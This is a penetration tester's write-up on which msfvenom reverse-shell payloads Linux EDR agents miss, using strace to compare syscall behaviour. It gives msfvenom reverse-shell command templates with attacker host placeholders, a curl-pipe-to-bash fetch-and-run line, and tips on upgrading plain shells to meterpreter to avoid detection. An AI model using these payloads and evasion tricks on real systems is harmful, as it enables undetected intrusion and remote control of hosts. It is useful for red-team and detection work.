During a recent engagement I had the chance to test various payloads against a few different endpoint detection tools. Think of anti-virus, but with remote administration and enterprise support. The technologies are amazing, however, when testing different kinds of reverse shells, some payloads could be used to easily evade the agents protecting the hosts. This article will briefly go over the behavior exhibited when using msfvenom to generate payloads.
First — what’s “msfvenom”?
Msfvenom is a part of Rapid7’s Metasploit framework and comes with Kali Linux right out of the box. The tool is incredibly useful at generating various payloads, malware, reverse shells, and also supports different formats and encodings. Let’s say you wanted to generate a reverse shell, you could generate:
- Windows
- Linux
- MacOS
- Python
- Bash
- etc…
The syntax for a reverse shell generally follows something like:
msfvenom -p some/kind/of/payload LHOST=<attacker ip> LPORT=<listening port> -f <format | eg. python> -o <output>
To see a comprehensive list of payloads run:
msfvenom --list payloads
So, what was caught as malicious?
Since the hosts we were attacking were Linux-based, the easiest and most straight-forward would be to generate ELF binaries using msfvenom. Something like:
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<host> LPORT=<port> -f elf -o meterpreter_elf
Interestingly enough, the file wouldn’t even transfer in some cases! The EDR solution was quick to notice what kind of file it was, identified it as malicious, and deleted it. Even transferring the ELF files right into something like curl 1.1.1.1/file |bash -c
wouldn’t work as the EDR tool killed the process immediately.
Maybe the meterpreter-packed payload was too noisy. Time to get crafty…
What wasn’t caught?
In short, three big scenarios stood out to me as an attacker:
- Normal non-meterpreter shells
- Python non-meterpreter shells
- Python meterpreter shells
It’s also very worth mentioning that non-meterpreter shells could be upgraded without issue.
So, in that case, what gives? I decided to see how each shell “idled” and what syscalls were made after a reverse shell connection was made.
Watching syscalls with “strace”
Strace
is a handy tool for watching system calls on Linux when you either run a file or attach to an existing process id (pid). Knowing I had a few shells I could use with strace, I decided to run them and see what their behavior differences were.
There are two main ways I used strace:
- Start a process with strace →
strace ./binary
- Attach strace to a pid →
sudo strace -p <pid>
Once a meterpreter session is established, the syscalls are very noisy so it’s no wonder this can get caught. A constant loop of `clock_gettime` and getpid()
are as noisy as a case of hammers being thrown down metal steps.
msfvenom -p linux/x86/shell_reverse_tcp
By comparison, a regular reverse shell sits at read(
until a command is supplied by the attacker. Much more lightweight and simple.
msfvenom -p python/meterpreter_reverse_tcp
While the python meterpreter reverse shell looped through select
and wait
calls, they were never caught by the EDR tool as malicious.
Upgraded shell to meterpreter
After establishing a regular non-meterpreter reverse shell, I decided to upgrade the shell to a meterpreter session to see if that would work using the multi/manage/shell_to_meterpreter
module.
Once the connection has been made, shell upgraded, the syscalls wait at read
awaiting instructions from the attacker. No looping calls being very quiet while offering the same functionality as a meterpreter shell.
What are the takeaways?
- Meterpreter shells are noisy as they loop the same syscalls increasing the chances of being detected via their heuristics.
- In cases where your payloads are blocked, start simple and upgrade later.
- Try different file formats — python, perl, bash, etc. Get creative!